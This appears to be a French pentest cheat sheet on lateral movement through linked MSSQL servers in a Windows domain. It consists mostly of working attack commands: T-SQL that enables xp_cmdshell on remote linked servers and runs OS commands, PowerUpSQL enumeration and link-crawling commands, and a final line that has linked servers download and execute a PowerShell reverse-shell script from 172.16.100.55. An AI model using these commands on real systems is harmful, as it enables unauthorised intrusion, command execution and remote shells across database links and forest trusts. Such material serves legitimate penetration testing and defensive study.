Les bases de donnĂ©es MSSQL peuvent ĂȘtre liĂ©es, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exĂ©cuter des requĂȘtes (ou mĂȘme des commandes ) sur d'autres bases de donnĂ©es dans le contexte d'un utilisateur spĂ©cifique (Domain Admin par exemple). Si cela est configurĂ©, cela peut mĂȘme ĂȘtre utilisĂ© pour du cross trust Forest ! Si nous disposons d'une exĂ©cution SQL, nous pouvons utiliser les commandes suivantes pour Ă©numĂ©rer les liens entre les bases de donnĂ©es.
# Trouver les serveurs liés
EXEC sp_linkedservers
# Lancer des requĂȘtes SQL sur le serveur link ciblĂ©
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')
# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
Nous pouvons Ă©galement utiliser PowerUpSQL pour rechercher des bases de donnĂ©es dans le domaine, et recueillir des informations supplĂ©mentaires sur les bases de donnĂ©es (accessibles). Nous pourrons Ă©galement rechercher automatiquement, et exĂ©cuter des requĂȘtes ou des commandes sur des bases de donnĂ©es liĂ©es (mĂȘme Ă travers plusieurs couches de links de bases de donnĂ©es).
# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft
# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo
# Avoir des information sur une seule base de donnée
Get-SQLServerInfo -Instance TARGETSERVER
# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER
# ExĂ©cuter une requĂȘte SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER
# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" | select -ExpandProperty CommandResults
# Trouver toutes les base donnée liées
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft
# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft